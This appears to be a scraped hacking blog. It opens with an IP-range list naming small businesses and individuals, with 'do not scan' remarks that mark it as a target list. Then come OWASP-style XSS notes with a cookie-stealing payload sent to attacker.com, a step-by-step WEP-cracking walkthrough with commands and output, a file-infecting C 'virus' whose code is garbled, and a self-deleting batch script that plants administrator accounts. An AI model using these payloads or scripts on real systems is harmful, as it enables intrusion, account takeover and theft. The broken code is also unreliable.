207.60.18.64 - 207.60.18.127 Conventures
207.60.21.0 - 207.60.21.255 Don Law Company
207.60.22.0 - 207.60.22.255 Advanced Microsensors
207.60.28.0 - 207.60.28.63 Applied Business Center
207.60.28.64 - 207.60.28.127 Color and Design Exchange
207.60.36.8 - 207.60.36.15 Shaun McCusker
207.60.36.16 - 207.60.36.23 Town of Framingham
207.60.36.24 - 207.60.36.31 AB Software
207.60.36.32 - 207.60.36.39 Seabass Dreams Too Much, Inc
207.60.36.40 - 207.60.36.47 Next Ticketing
207.60.36.48 - 207.60.36.55 Dulsi
207.60.36.56 - 207.60.36.63 The Internet Access Company
207.60.36.64 - 207.60.36.71 Maguire Group
207.60.36.72 - 207.60.36.79 Cogenex
207.60.36.88 - 207.60.36.95 AKNDC
207.60.36.96 - 207.60.36.103 McGovern election commitee
207.60.36.104 - 207.60.36.111 Digital Equipment Corp
207.60.36.112 - 207.60.36.119 PTR - Precision Technologies
207.60.36.120 - 207.60.36.127 Extech
207.60.36.128 - 207.60.36.135 Manfreddi Architects
207.60.36.144 - 207.60.36.151 Parent Naffah
207.60.36.152 - 207.60.36.159 Darling Dolls Inc
207.60.36.160 - 207.60.36.167 Wright Communications
207.60.36.168 - 207.60.36.175 Principle Software
207.60.36.176 - 207.60.36.183 Chris Pet Store
207.60.36.184 - 207.60.36.191 Fifteen Lilies
207.60.36.192 - 207.60.36.199 All-Com Technologies
207.60.37.0 - 207.60.37.31 Cardio Thoracic Surgical Associates, P. A.
207.60.37.32 - 207.60.37.63 Preferred Fixtures Inc
207.60.37.64 - 207.60.37.95 Apple and Eve Distributors
207.60.37.96 - 207.60.37.127 Nelson Copy Supply
207.60.37.128 - 207.60.37.159 Boston Optical Fiber
207.60.37.192 - 207.60.37.223 Fantasia&Company
207.60.41.0 - 207.60.41.255 Infoactive
207.60.48.0 - 207.60.48.255 Curry College
207.60.62.32 - 207.60.62.63 Alternate Power Source
207.60.62.64 - 207.60.62.95 Keystone Howley-White
207.60.62.128 - 207.60.62.159 Bridgehead Associates LTD
207.60.62.160 - 207.60.62.191 County Supply
207.60.62.192 - 207.60.62.223 NH Board of Nursing
207.60.64.0 - 207.60.64.63 Diversified Wireless Technologies
207.60.64.64 - 207.60.64.127 Phytera
207.60.66.0 - 207.60.66.15 The Network Connection
207.60.66.16 - 207.60.66.31 Young Refrigeration
207.60.66.32 - 207.60.66.47 Vision Appraisal Technology
207.60.66.48 - 207.60.66.63 EffNet Inc
207.60.66.64 - 207.60.66.79 Entropic Systems Inc
207.60.66.80 - 207.60.66.95 Finley Properties
207.60.66.96 - 207.60.66.111 Nancy Plowman Associates
207.60.66.112 - 207.60.66.127 Northeast Financial Strategies
207.60.66.128 - 207.60.66.143 Textnology Corp
207.60.66.144 - 207.60.66.159 Groton Neochem LLC
207.60.66.160 - 207.60.66.175 Tab Computers
207.60.66.176 - 207.60.66.191 Patrons Insurance
207.60.66.192 - 207.60.66.207 Chair City Web
207.60.66.208 - 207.60.66.223 Radex, Inc.
207.60.66.224 - 207.60.66.239 Robert Austein
207.60.66.240 - 207.60.66.255 Hologic Inc.
207.60.71.64 - 207.60.71.127 K-Tech International Inc.
207.60.71.128 - 207.60.71.191 Pan Communications
207.60.71.192 - 207.60.71.255 New England College of Finance
207.60.75.128 - 207.60.75.255 Absolve Technology
207.60.78.0 - 207.60.78.127 Extech
207.60.78.128 - 207.60.78.255 The Insight Group
207.60.83.0 - 207.60.83.255 JLM Technologies
207.60.84.0 - 207.60.84.255 Strategic Solutions
207.60.94.0 - 207.60.94.15 McWorks
207.60.94.32 - 207.60.94.47 Rooney RealEstate
207.60.94.48 - 207.60.94.63 Joseph Limo Service
207.60.94.64 - 207.60.94.79 The Portico Group
207.60.94.80 - 207.60.94.95 Event Travel Management Inc
207.60.94.96 - 207.60.94.111 Intellitech International
207.60.94.128 - 207.60.94.143 Orion Partners
207.60.94.144 - 207.60.94.159 Rainbow Software Solution
207.60.94.160 - 207.60.94.175 Grason Stadler Inc
207.60.94.192 - 207.60.94.207 Donnegan System
207.60.95.1 - 207.60.95.255 The Iprax Corp
207.60.102.0 - 207.60.102.63 Coporate IT
207.60.102.64 - 207.60.102.127 Putnam Technologies
207.60.102.128 - 207.60.102.191 Sycamore Networks
207.60.102.192 - 207.60.102.255 Bostek
2?7.6?.10?.128 - 207.60.103.255 Louis Berger and Associates
207.60.104.128 - 207.60.104.191 Hanson Data Systems
207.60.106.128 - 207.60.106.255 Giganet Inc.
207.60.107.0 - 207.60.107.255 Roll Systems
207.60.108.8 - 207.60.108.15 InternetQA
207.60.111.0 - 207.60.111.31 Reading Cooperative Bank
207.60.111.32 - 207.60.111.63 Edco collaborative
207.60.111.64 - 207.60.111.95 DTC Communications Inc
207.60.111.96 - 207.60.111.127 Mike Line
207.60.111.128 - 207.60.111.159 The Steppingstone Foundation
207.60.111.160 - 207.60.111.191 Caton Connector
207.60.111.192 - 207.60.111.223 Refron
207.60.111.224 - 207.60.111.255 Dolabany Comm Group
207.60.112.0 - 207.60.112.255 The CCS Companies
207.60.116.0 - 207.60.116.255 Continental PET Technologies
207.60.122.16 - 207.60.122.23 Corey & Company Designers Inc
207.60.122.24 - 207.60.122.31 SAIC
207.60.122.32 - 207.60.122.39 Netserve Entertainment Group
207.60.122.40 - 207.60.122.47 Avici Systems Inc
207.60.122.48 - 207.60.122.55 Webrdwne
207.60.122.56 - 207.60.122.63 Reality and Wonder
207.60.122.64 - 207.60.122.71 Nishan Desilva
207.60.122.72 - 207.60.122.79 NemaSoft Inc
207.60.122.80 - 207.60.122.87 Patrick Murphy
207.60.122.88 - 207.60.122.95 Corey and Company
207.60.122.96 - 207.60.122.103 Ames Textile Corp
207.60.122.104 - 207.60.122.111 Publicom
207.60.127.0 - Northstar Technologies
207.60.128.0 - 207.60.128.255 Northstar Technologies
207.60.129.0 - 207.60.129.255 Sanga Corp
207.60.129.64 - 207.60.129.127 Fired Up Network
207.60.129.128 - 207.60.129.191 Integrated Data Solutions
207.60.129.192 - 207.60.129.255 Metanext
207.61.* WorldLinx Telecommunications, Inc., Canada
207.120.* BBN Planet, MA

RANGE 208
208.240.xxx.xxx

RANGE 209
209.35.* Interland, Inc., GA

RANGE 212
212.56.107.22
212.143 *** israelis isp's!! dont try those ranges!!
212.149.*** israelis isp's!! dont try those ranges!!
212.159.0.2
212.159.1.1
212.159.1.4
212.159.1.5
212.159.0.2
212.159.1.1
212.159.1.4
212.159.1.5
212.159.33.56
212.159.40.211
212.159.41.173
212.179.*** israelis isp's!! dont try those ranges!!
212.208.0.12.*** israelis isp's!! dont try those ranges!!

RANGE 213
213.8.***.*** israelis isp's!! dont try those ranges!!

RANGE 216
216.25.* 216.94.***.*** 216.247.* 216.248.*.* 217
217.6.* Do not scan

How to give your own default message on cmd prompt ?:Removing "Microsoft Windows [Version 6.1.7601]

2012-07-26T23:19:00.001-07:00

Hey there,
To do the above trick:
1. Open registry Editor : run-> regedit.exe
2. Go to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor
3. Make a new key with "String value" : Right click on "Command Processor" -> new -> String value

4. Rename the key as "AutoRun"
5. Modify the key value with "cls" to remove the windows default message and then press OK
6. If u want to show your own message change the value of "AutoRun" with:
"cls&&@echo off&&echo Your Message"
7. If u are familiar with the DOS commands then use them on "AutoRun" value by saperating them using "&&"
for example:"cls&&@echo off&&echo .::Ready for a ride on Black Perl: This is "Jack Sparrow"::.&&@echo on&&prompt ?"
Note: "&&" is used for concatination of two "values" (that are in this case DOS commands).

XSS(CROSS-SITE SCRIPTING)

2012-06-15T19:48:00.001-07:00

XSS flaws occur whenever an application takes untrusteddata and sends it to a web browser without proper validation and escaping. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.

1)who is Vulnerable to XSS:

You need to ensure that all user supplied input sent back to the browser is verified to be safe (via input validation), and that user input is properly escaped before it is included in the output page. Proper output encoding ensures that such input is always treated as text in the browser, rather than active content that might get executed.Both static and dynamic tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, which makes automated detection difficult. Therefore, complete coverage requires a combination of manual code review and manual penetration testing, in addition to any automated approaches in use.Web 2.0 technologies, such as AJAX, make XSS much more difficult to detect via automated tools.

2)How to Prevent XSS attacks:

Preventing XSS requires keeping untrusteddata separate from active browser content.

1.The preferred option is to properly escape all untrusteddata based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. Developers need to include this escaping in their applications unless their UI framework does this for them.

2.Positive or “whitelist” input validation is also recommended as it helps protect against XSS, but is not a complete defense as many applications must accept special characters. Such validation should decode any encoded input, and then validate the length, characters, and format on that data before accepting the input.

3.Consider employing Mozilla’s new Content Security Policy that is coming out in Firefox 4 to defend against XSS.

3)Attack scenario with example:

The application uses untrusteddata in the construction of the following HTML snippet without validation or escaping:

(String) page += "<input name='creditcard' type='TEXT‘value='" + request.getParameter("CC") + "'>";

The attacker modifies the ‘CC’ parameter in their browser to:

'><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'.

This causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.

Note that attackers can also use XSS to defeat any automated CSRF defense the application might employ. See A5 for info on CSRF.

Top most 10 Network security concern:

2012-06-15T19:39:00.001-07:00

Top most 10 security concern is given below. These were major security flaws in 2010.

1 –Injection

•Injection flaws, such as SQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing unauthorized data.

2 –Cross-Site Scripting (XSS)

•XSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation and escaping. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.

3 –Broken Authentication and Session Management

•Application functions related to authentication and session management are often not implemented correctly, allowing attackers to compromise passwords, keys, session tokens, or exploit other implementation flaws to assume other users’ identities.

4 –Insecure Direct Object References

•A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key. Without an access control check or other protection, attackers can manipulate these references to access unauthorized data.

5 –Cross-Site Request Forgery (CSRF)

•A CSRF attack forces a logged-on victim’s browser to send a forged HTTP request, including the victim’s session cookie and any other automatically included authentication information, to a vulnerable web application. This allows the attacker to force the victim’s browser to generate requests the vulnerable application thinks are legitimate requests from the victim.

6 –Security Misconfiguration

•Good security requires having a secure configuration defined and deployed for the application, frameworks, application server, web server, database server, and platform. All these settings should be defined, implemented, and maintained as many are not shipped with secure defaults. This includes keeping all software up to date, including all code libraries used by the application.

7 –Insecure Cryptographic Storage

•Many web applications do not properly protect sensitive data, such as credit cards, SSNs, and authentication credentials, with appropriate encryption or hashing. Attackers may steal or modify such weakly protected data to conduct identity theft, credit card fraud, or other crimes.

8 -Failure to Restrict URL Access

•Many web applications check URL access rights before rendering protected links and buttons. However, applications need to perform similar access control checks each time these pages are accessed, or attackers will be able to forge URLs to access these hidden pages anyway.

9 -Insufficient Transport Layer Protection

•Applications frequently fail to authenticate, encrypt, and protect the confidentiality and integrity of sensitive network traffic. When they do, they sometimes support weak algorithms, use expired or invalid certificates, or do not use them correctly.

10 –UnvalidatedRedirects and Forwards

•Web applications frequently redirect and forward users to other pages and websites, and use untrusteddata to determine the destination pages. Without proper validation, attackers can redirect victims to phishing or malware sites, or use forwards to access unauthorized pages.

About OWASP.... (A Web security innovative)

2012-06-15T19:31:00.001-07:00

The Open Web Application Security Project (OWASP) is an open community dedicated to enabling organizations to develop, purchase, and maintain applications that can be trusted. All of the OWASP tools,

Documents, forums, and chapters are free and open to anyone interested in improving application security. We advocate approaching application security as a people, process, and technology problem, because the most effective approaches to application security require improvements in all of these areas.

OWASP is a new kind of organization. Our freedom from commercial pressures allows us to provide unbiased, practical, cost-effective information about application security. OWASP is not affiliated with any technology company, although we support the informed use of commercial security technology. Similar to many open-source software projects, OWASP produces many types of materials in a collaborative, open way.

The OWASP Foundation is the non-profit entity that ensures the project’s long-term success. Almost everyone associated with OWASP is a volunteer, including the OWASP Board, Global Committees, Chapter Leaders, Project Leaders, and project members. We support innovative security research with grants and infrastructure.

OWASP Top 10 –2007 (Previous)	OWASP Top 10 –2010 (New)
A2 –Injection Flaws	A1 –Injection
A1 –CrossSite Scripting (XSS)	A2 –Cross-Site Scripting (XSS)
A7 –Broken Authentication and Session Management	A3 –Broken Authentication and Session Management
A4 –Insecure Direct Object Reference	A4 –Insecure Direct Object References
A5 –Cross Site Request Forgery (CSRF)	A5 –Cross-Site Request Forgery (CSRF)
<was T10 2004 A10 –Insecure Configuration Management>	A6 –Security Misconfiguration(NEW)
A8 –Insecure Cryptographic Storage	A7 –Insecure Cryptographic Storage
A10 –Failure to Restrict URL Access	A8 –Failure to Restrict URL Access
A9 –InsecureCommunications	A9 –Insufficient Transport Layer Protection
<not in T10 2007>	A10 –UnvalidatedRedirects and Forwards (NEW)
A3–Malicious File Execution	<dropped fromT102010>
A6 –Information Leakage and Improper Error Handling	<droppedfrom T102010>

WEP cracking

2012-01-12T01:02:00.000-08:00

Step 1 - Start the wireless interface in monitor mode on AP channel

airmon-ng stop ath0

The system responds:

Interface Chipset Driver

wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0) (VAP destroyed)

Step 2 - Test Wireless Device Packet Injection

aireplay-ng -9 -e teddy -a 00:14:6C:7E:40:80 ath0

Where:
-9 means injection test
-e teddy is the wireless network name
-a 00:14:6C:7E:40:80 is the access point MAC address
ath0 is the wireless interface name

Step 3 - Start airodump-ng to capture the IVs

airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w output ath0

While the injection is taking place (later), the screen will look similar to this:
CH 9 ][ Elapsed: 8 mins ][ 2007-03-21 19:25

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:14:6C:7E:40:80 42 100 5240 178307 338 9 54 WEP WEP teddy

BSSID STATION PWR Lost Packets Probes

00:14:6C:7E:40:80 00:0F:B5:88:AC:82 42 0 183782

Step 4 - Use aireplay-ng to do a fake authentication with the access point

aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0

Where:
-1 means fake authentication
0 reassociation timing in seconds
-e teddy is the wireless network name
-a 00:14:6C:7E:40:80 is the access point MAC address
-h 00:0F:B5:88:AC:82 is our card MAC address
ath0 is the wireless interface name
Success looks like:

18:18:20 Sending Authentication Request
18:18:20 Authentication successful
18:18:20 Sending Association Request
18:18:20 Association successful :-)

Step 5 - Start aireplay-ng in ARP request replay mode

aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0

Step 6 - Run aircrack-ng to obtain the WEP key
aircrack-ng -b 00:14:6C:7E:40:80 output*.cap

Where:
-b 00:14:6C:7E:40:80 selects the one access point we are interested in. This is optional since when we originally captured the data, we applied a filter to only

capture data for this one AP.
output*.cap selects all files starting with “output” and ending in ”.cap”.

Here is what success looks like:

Aircrack-ng 0.9

[00:03:06] Tested 674449 keys (got 96610 IVs)

KB depth byte(vote)
0 0/ 9 12( 15) F9( 15) 47( 12) F7( 12) FE( 12) 1B( 5) 77( 5) A5( 3) F6( 3) 03( 0)
1 0/ 8 34( 61) E8( 27) E0( 24) 06( 18) 3B( 16) 4E( 15) E1( 15) 2D( 13) 89( 12) E4( 12)
2 0/ 2 56( 87) A6( 63) 15( 17) 02( 15) 6B( 15) E0( 15) AB( 13) 0E( 10) 17( 10) 27( 10)
3 1/ 5 78( 43) 1A( 20) 9B( 20) 4B( 17) 4A( 16) 2B( 15) 4D( 15) 58( 15) 6A( 15) 7C( 15)

KEY FOUND! [ 12:34:56:78:90 ]
Probability: 100%

A virus in "C".

2012-01-11T21:01:00.000-08:00

unsigned long x;
char buff[256];
struct ffblk;

clock_t st,end;

main() //www.ashu-hackingforever.blogspot.com
{
st=clock();
clrscr();
end=(findfirst("*.*",&ffblk,0);
while(!end)
{
virus=fopen(_args[0],"rb");
vhost=fopen(ffblk.ff_name,"rb+");
if(vhost==NULL)
goto next;
x=89088;
printf("infecting %s\n",ffblk.ff_name);
while(x>2048)
{
fread(buff,256,1,virus);
fwrite(buff,256,1,vhost);
x=2048;
}
fread(buff,x,1,virus);
fwrite(buff,1,vhost);
a++;
next: fcloseall();
done=findnext(&ffblk);
}
end=clock();
printf("infected %d file in %f sec",a,(end-st)/CLK-TCK);
return(0);
}

create mail message object.

2012-01-11T20:44:00.000-08:00

// create mail message object

MailMessage mail = new MailMessage();

mail.From = ""; // put the from address here

mail.To = ""; // put to address here

mail.Subject = ""; // put subject here

mail.Body = ""; // put body of email here

SmtpMail.SmtpServer = ""; // put smtp server you will use here

// and then send the mail

SmtpMail.Send(mail);

Here goes the program vc++ code

#define _CRTDBG_MAP_ALLOC

#include "windows.h"

#include "crtdbg.h"

#include "string.h"

#include "CkSettings.h"

#include "CkEmail.h"

#include "CkEmailBundle.h"

#include "CkMailMan.h"

#include "CkString.h"

#include "CkByteData.h"

void EmailExample(void)

{

CkMailMan mailman;

// This seems to have a 30-day trial period.

bool unlocked = mailman.UnlockComponent("30-day trial");

if (!unlocked)

{

printf("Failed to unlock component\n");

return;

}

mailman.put_SmtpHost("mail.earthlink.net");

This contains the actual email componets

CkEmail email;

email.put_Body("This is a test\r\nThis is line #2");

email.AddTo("Google Hacks","communityonwer@gmail.com");

email.put_FromAddress("communityonwer@gmail.com");

email.put_Subject("Google Hacks is the best site");

if (!mailman.SendEmail(&email))

{

mailman.SaveLastError("errors.xml"); // error

}

}

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)

{

freopen("stdout.txt","w",stdout);

EmailExample();

CkSettings::cleanupMemory();

_CrtDumpMemoryLeaks();

return 0;

}

If you want html just replace body with a html code. Only basic html code will work.

If you wish to add BCC after email.AddTo() . You need to add this as many as times as you want based to how many people

you want to mail.

email.AddBcc("Orkut Tricks","communityonwer@gmail.com");

If you wish to add CC just copy the above code and replace Bcc with cc

Code to add attachments . Repete this code as many times as you want based on the no of attachments you want to send

// Add a file attachment.

if (!email.AddFileAttachment("googlehacks.gif",0))

{

email.SaveLastError("errors.xml");

return;

}

If you want all your attachments to be zipped the use this code after you enter all the attachments

if (!email.ZipAttachments("googlehacks.zip"))

{

email.SaveLastError("errors.xml");

return;

}

How to get the admin privilages.

2012-01-11T20:32:00.000-08:00

The below code will allow a guest to be a admin . You will not be the actual admin but will get admin privilages

echo off
title Please wait...
cls
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0

Copy this to notepad and save the file as "anyname.bat" .make double click on this.....

2011-10-27T00:46:00.000-07:00

A special gift on dewali by nabab on street ......great job